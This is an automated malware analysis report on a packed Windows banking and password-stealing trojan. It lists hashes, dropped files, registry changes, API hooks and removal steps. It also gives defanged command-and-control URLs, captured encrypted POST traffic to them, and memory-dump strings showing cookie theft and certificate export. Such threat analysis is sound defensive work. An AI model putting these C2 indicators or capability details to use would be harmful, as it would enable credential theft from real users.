HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Zusy.30223 (B) (Emsisoft), Gen:Variant.Zusy.30223 (AdAware), Sinowal.YR, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)Behaviour: Trojan-PSW, Trojan, Backdoor
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 685f0604f1a31bfde819e8281930f74e
SHA1: 91ebb5ac6b544f4d25a257997be3781a69fdc490
SHA256: ad4a8f8adfc8ca66a548e752ba3f9ec2570a51dd2dca9a4daeeeb3cd483ae3db
SSDeep: 6144:Q3UVyDfaNDSHLAhFrv/uAwnQ0/9vkNYnQTNXf 7OoH:QEVOyZSHLiB4nlhkN64NXf 7TH
Size: 241664 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2012-11-30 20:59:05
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan-PSW. Trojan program intended for stealing users passwords.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
%original file name%.exe:1516
ubwi.exe:256
The Trojan injects its code into the following process(es):
Explorer.EXE:932
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:1516 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\tmp9715cf36.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Ifusob\ubwi.exe (241 bytes)
Registry activity
The process %original file name%.exe:1516 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 F6 89 A7 9A F3 FB 85 AB 65 E3 A7 08 25 01 24"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Nied]
"Ciyryrta" = "68 A9 EE 48 C5 3F 8D 7D 4D AD 4F 87 B8 8B D7 E9"
The process ubwi.exe:256 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E5 10 CD 08 37 71 1C FD C8 DC 08 99 84 95 E6 D9"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
Dropped PE files
MD5 | File path |
---|---|
cef9f51218e01e19ce0464611198cfee | c:\Documents and Settings\"%CurrentUserName%"\Application Data\Ifusob\ubwi.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
The Trojan installs the following user-mode hooks in WINMM.dll:
PlaySoundW
The Trojan installs the following user-mode hooks in WININET.dll:
HttpEndRequestW
HttpEndRequestA
HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetSetFilePointer
InternetQueryDataAvailable
HttpOpenRequestW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle
HttpOpenRequestA
The Trojan installs the following user-mode hooks in CRYPT32.dll:
PFXImportCertStore
The Trojan installs the following user-mode hooks in USER32.dll:
SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC
The Trojan installs the following user-mode hooks in ADVAPI32.dll:
CreateProcessAsUserA
CreateProcessAsUserW
The Trojan installs the following user-mode hooks in WS2_32.dll:
WSASend
gethostbyname
send
closesocket
getaddrinfo
The Trojan installs the following user-mode hooks in kernel32.dll:
ExitProcess
GetFileAttributesExW
The Trojan installs the following user-mode hooks in ntdll.dll:
NtCreateThread
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Scan a system with an anti-rootkit tool.
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:1516
ubwi.exe:256 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\tmp9715cf36.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Ifusob\ubwi.exe (241 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: GSpot Appliance Corp
Product Name: GSpot deployment tool
Product Version: 2, 8, 3, 4
Legal Copyright: Copyright (C) 2007 - 2011, Steve Greenberg
Legal Trademarks: GSpot (tm)
Original Filename: GSpot
Internal Name: GSpot
File Version: 2, 7, 0, 1
File Description: GSpot deployment tool for Microsoft WCF Data Services
Comments: gspot
Language: Language Neutral
Company Name: GSpot Appliance CorpProduct Name: GSpot deployment toolProduct Version: 2, 8, 3, 4Legal Copyright: Copyright (C) 2007 - 2011, Steve GreenbergLegal Trademarks: GSpot (tm)Original Filename: GSpotInternal Name: GSpotFile Version: 2, 7, 0, 1File Description: GSpot deployment tool for Microsoft WCF Data ServicesComments: gspotLanguage: Language Neutral
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 74016 | 74240 | 4.58397 | 3fdfa24e907fde3ae6e844375fc8158f |
.rdata | 81920 | 15900 | 16384 | 3.47973 | 48246688436c2d2727a5bda13d8dfc49 |
.data | 98304 | 156608 | 148480 | 5.48256 | db1df2acb8d16dcdfb83d6c247371c83 |
.rsrc | 258048 | 1516 | 1536 | 2.8709 | 746dfaae0090d9e74c6484d503218285 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://199.2.137.202/file-58d1db.php | |
hxxp://dcu-a-202.microsoftinternetsafety.net/file-58d1db.php |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
POST /file-58d1db.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: dcu-a-202.microsoftinternetsafety.net
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
{....W.. ..609...].U..Ha`.........=..`.{..i,...B...NO..X.,.s...TXMM..? &.P.1.i.;.M.B.$.G..@.r...,...p...1......!.$..*W.*[;4<;J..
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: PHP/5.3.24
Date: Thu, 05 Mar 2015 23:19:00 GMT
Content-Length: 2080
.Zw.U..........3X.;...H.r1..W......Y..3w.*......g.l..o.rX...5.O.R.../.....zvSZ.V..0e.[.....E...k....w4LM.D'......E......iv.[]....l....9.)..!.S..-..|.@.....L...z...Cq..f,{..r..Q.....%.7T........%.....6.V...W.....%...ZC..g...;.H.G^.. .!.KB...~8.2...A.,...../.......<.L.....v^..rd.....pJ.J.2D..P....kA......./.......,aPY^...*n...z;..7.$.J.....U.....W....i....z........3f...[....]...!s.R.bv... `-....r.....@....xX...0~..m..Z..{..w).f..j;.}........C.......&/....2X....F...G.|D..CJ..CH.Q..D.&pPx..^(.cv>Z...0.?....<5....P.p.Zj.?..bIa;.-.)...b..X.?...{.....{;Y.-3.Z......o.@.,..>z.S..........>...../3..hn....w8i..-..... ."....c..Q....U....r....\J.._.......W..w"BO..y<.-PF..O.`/....J......x.Td..lU....k..ng..[.@V.,:(.gp.,.Q ^.OT*..Y.p..,._e....i.....7..L..eu..\.....zH.2.:........@..~zph.b..b...=.....$..(.g...1#..[a..^3r..K7.|D{;~.G..^.).......2&....4B..`.Xs.@.........P.!.....}Trz.e....r"&.. ..i5.A._.../.2s...Q..g.....l.....,Gy-.g.:...>.#........sC.z.....9...@....n..(....rPH.[F7.....p.9`/.s........=k..~U..t.Q.......x^u.a.....E2.&b.4.9.h.Mk!.`....h..B>O...........{@......qu..b...H1.03.....h.mVJ....76.n.........o.....o........].*.........&....G|.w#Y.....<....7dh]...... .'V...K1&_3...i......12..-.h?n8..&.2.r.d............."Q.wZ(I..T..T0D.h.;o..|-"U..7.m...S.c...pN.m...e.-......6C."..E4z8........'t@.sH.|.$.T....F....W...M*X.....J.1..V.J..P/I..t........_3]_.I..E.:u.........V?2.W.-M..!..C,...... P..Dxe.&bM....w..@[..L....o.....F.15..U.Y.mM. .\y.6.?.....abe..,J..4,...M.{.OZ.CP...d............'.... O...0F7"Z.Z.
<<< skipped >>>
POST /file-58d1db.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: dcu-a-202.microsoftinternetsafety.net
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
.D..@....!.Dl...9..?.."
.....|x..Wg.
.....Fzsa(z.g.$%..2.F..f..~>2''}.UALb:.[...Q.'.(.N.-..*.....Fhi.....[.x.a..K.N..@=.@1Q^VQ ..
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: PHP/5.3.24
Date: Thu, 05 Mar 2015 23:19:11 GMT
Content-Length: 2080
.Zw.U..........3X.;...H.r1..W......Y..3w.*......g.l..o.rX...5.O.R.../.....zvSZ.V..0e.[.....E...k....w4LM.D'......E......iv.[]....l....9.)..!.S..-..|.@.....L...z...Cq..f,{..r..Q.....%.7T........%.....6.V...W.....%...ZC..g...;.H.G^.. .!.K..
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
Explorer.EXE_932_rwx_01FF0000_0003B000:
.text
.text
`.data
`.data
.reloc
.reloc
%s%s%s
%s%s%s
gdiplus.dll
gdiplus.dll
GdiplusShutdown
GdiplusShutdown
ole32.dll
ole32.dll
gdi32.dll
gdi32.dll
_getFirefoxCookie
_getFirefoxCookie
HTTP/1.1
HTTP/1.1
HTTP/1.0
HTTP/1.0
hXXp://
hXXp://
hXXps://
hXXps://
HTTP/1.
HTTP/1.
facebook.com
facebook.com
Cookie: %s
Cookie: %s
Referer: %s
Referer: %s
Accept: %s
Accept: %s
Accept-Language: %s
Accept-Language: %s
Accept-Encoding: %s
Accept-Encoding: %s
%s, u %s %u u:u:u GMT
%s, u %s %u u:u:u GMT
; charset=%s
; charset=%s
HTTP/1.1 %u %s
HTTP/1.1 %u %s
Date: %s
Date: %s
Content-Length: %u
Content-Length: %u
Expires: %s
Expires: %s
Content-Type: %s%s
Content-Type: %s%s
ID: %s
ID: %s
value_%s
value_%s
value_%s_%s
value_%s_%s
%s = "%s";
%s = "%s";
update.exe
update.exe
config.bin
config.bin
PR_OpenTCPSocket
PR_OpenTCPSocket
cit_ffcookie.module
cit_ffcookie.module
cit_video.module
cit_video.module
userenv.dll
userenv.dll
del "%s"
del "%s"
if exist "%s" goto d
if exist "%s" goto d
del /F "%s"
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
urlmon.dll
cabinet.dll
cabinet.dll
hXXp://xxxxxxxx.com/xxxx/xxxx.php
hXXp://xxxxxxxx.com/xxxx/xxxx.php
4)#04#3%3#
4)#04#3%3#
$.5-(*'#
$.5-(*'#
&"!&2 '"
&"!&2 '"
,1-6
,1-6
1,&51&6 6
1,&51&6 6
*,$
*,$
7'674-3$
7'674-3$
/)60-#,%
/)60-#,%
854;588,
854;588,
.-.# "4
.-.# "4
!,./#$0,%%;
!,./#$0,%%;
)"4(7*
)"4(7*
1:,0/2$7
1:,0/2$7
%S$ PBA
%S$ PBA
(8&.ric2IO
(8&.ric2IO
hXXp://VVV.google.com/webhp
hXXp://VVV.google.com/webhp
SSSh0
SSSh0
SSSh"`
SSSh"`
CreatePipe
CreatePipe
GetProcessHeap
GetProcessHeap
KERNEL32.dll
KERNEL32.dll
GetKeyboardLayoutList
GetKeyboardLayoutList
ExitWindowsEx
ExitWindowsEx
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
MapVirtualKeyW
MapVirtualKeyW
GetKeyboardState
GetKeyboardState
OpenWindowStationW
OpenWindowStationW
GetProcessWindowStation
GetProcessWindowStation
CreateWindowStationW
CreateWindowStationW
CloseWindowStation
CloseWindowStation
SetProcessWindowStation
SetProcessWindowStation
SetKeyboardState
SetKeyboardState
USER32.dll
USER32.dll
RegCreateKeyW
RegCreateKeyW
RegEnumKeyW
RegEnumKeyW
RegQueryInfoKeyW
RegQueryInfoKeyW
RegCloseKey
RegCloseKey
RegCreateKeyExW
RegCreateKeyExW
RegOpenKeyExW
RegOpenKeyExW
RegEnumKeyExW
RegEnumKeyExW
ADVAPI32.dll
ADVAPI32.dll
UrlUnescapeA
UrlUnescapeA
SHDeleteKeyW
SHDeleteKeyW
PathIsURLW
PathIsURLW
SHLWAPI.dll
SHLWAPI.dll
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
Secur32.dll
Secur32.dll
SetViewportOrgEx
SetViewportOrgEx
GDI32.dll
GDI32.dll
WS2_32.dll
WS2_32.dll
PFXImportCertStore
PFXImportCertStore
CertDeleteCertificateFromStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertOpenSystemStoreW
CertCloseStore
CertCloseStore
CertEnumCertificatesInStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
CertDuplicateCertificateContext
PFXExportCertStoreEx
PFXExportCertStoreEx
CRYPT32.dll
CRYPT32.dll
HttpQueryInfoA
HttpQueryInfoA
InternetCrackUrlA
InternetCrackUrlA
HttpAddRequestHeadersW
HttpAddRequestHeadersW
HttpOpenRequestA
HttpOpenRequestA
HttpAddRequestHeadersA
HttpAddRequestHeadersA
HttpSendRequestExA
HttpSendRequestExA
HttpSendRequestExW
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestW
HttpOpenRequestW
HttpOpenRequestW
HttpEndRequestA
HttpEndRequestA
HttpSendRequestA
HttpSendRequestA
HttpEndRequestW
HttpEndRequestW
GetUrlCacheEntryInfoW
GetUrlCacheEntryInfoW
WININET.dll
WININET.dll
OLEAUT32.dll
OLEAUT32.dll
NETAPI32.dll
NETAPI32.dll
VERSION.dll
VERSION.dll
WINMM.dll
WINMM.dll
PSSSSSSh
PSSSSSSh
SSShd
SSShd
8 8$8(8,80848
8 8$8(8,80848
55x5
55x5
;>
;>
42>204:4
42>204:4
Global\XXX
Global\XXX
nspr4.dll
nspr4.dll
sXXXX
sXXXX
Company: %s
Company: %s
Product: %s
Product: %s
Version: %s
Version: %s
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Uninstall
%u: %s | %s | %s
%u: %s | %s | %s
chrome.dll
chrome.dll
\StringFileInfo\xx\%s
\StringFileInfo\xx\%s
ntdll.dll
ntdll.dll
kernel32.dll
kernel32.dll
"%s" %s
"%s" %s
/c "%s"
/c "%s"
%sx.%s
%sx.%s
%sx
%sx
SELECT * FROM %s
SELECT * FROM %s
SysShadow
SysShadow
Chrome
Chrome
Firefox
Firefox
%Documents and Settings%\%current user%\Application Data
%Documents and Settings%\%current user%\Application Data
{CE383DB2-2518-98AC-CB13-EAFA9FB7B276}
{CE383DB2-2518-98AC-CB13-EAFA9FB7B276}
%Documents and Settings%\%current user%\Application Data\Ubpoet\piot.huf
%Documents and Settings%\%current user%\Application Data\Ubpoet\piot.huf
%Documents and Settings%\%current user%\Application Data\Ubpoet
%Documents and Settings%\%current user%\Application Data\Ubpoet
piot.huf
piot.huf
Global\{58438F97-973D-0ED7-CB13-EAFA9FB7B276}
Global\{58438F97-973D-0ED7-CB13-EAFA9FB7B276}
%Documents and Settings%\%current user%\Application Data\Dyerno\dyxi.doq
%Documents and Settings%\%current user%\Application Data\Dyerno\dyxi.doq
%Documents and Settings%\%current user%\Application Data\Dyerno
%Documents and Settings%\%current user%\Application Data\Dyerno
dyxi.doq
dyxi.doq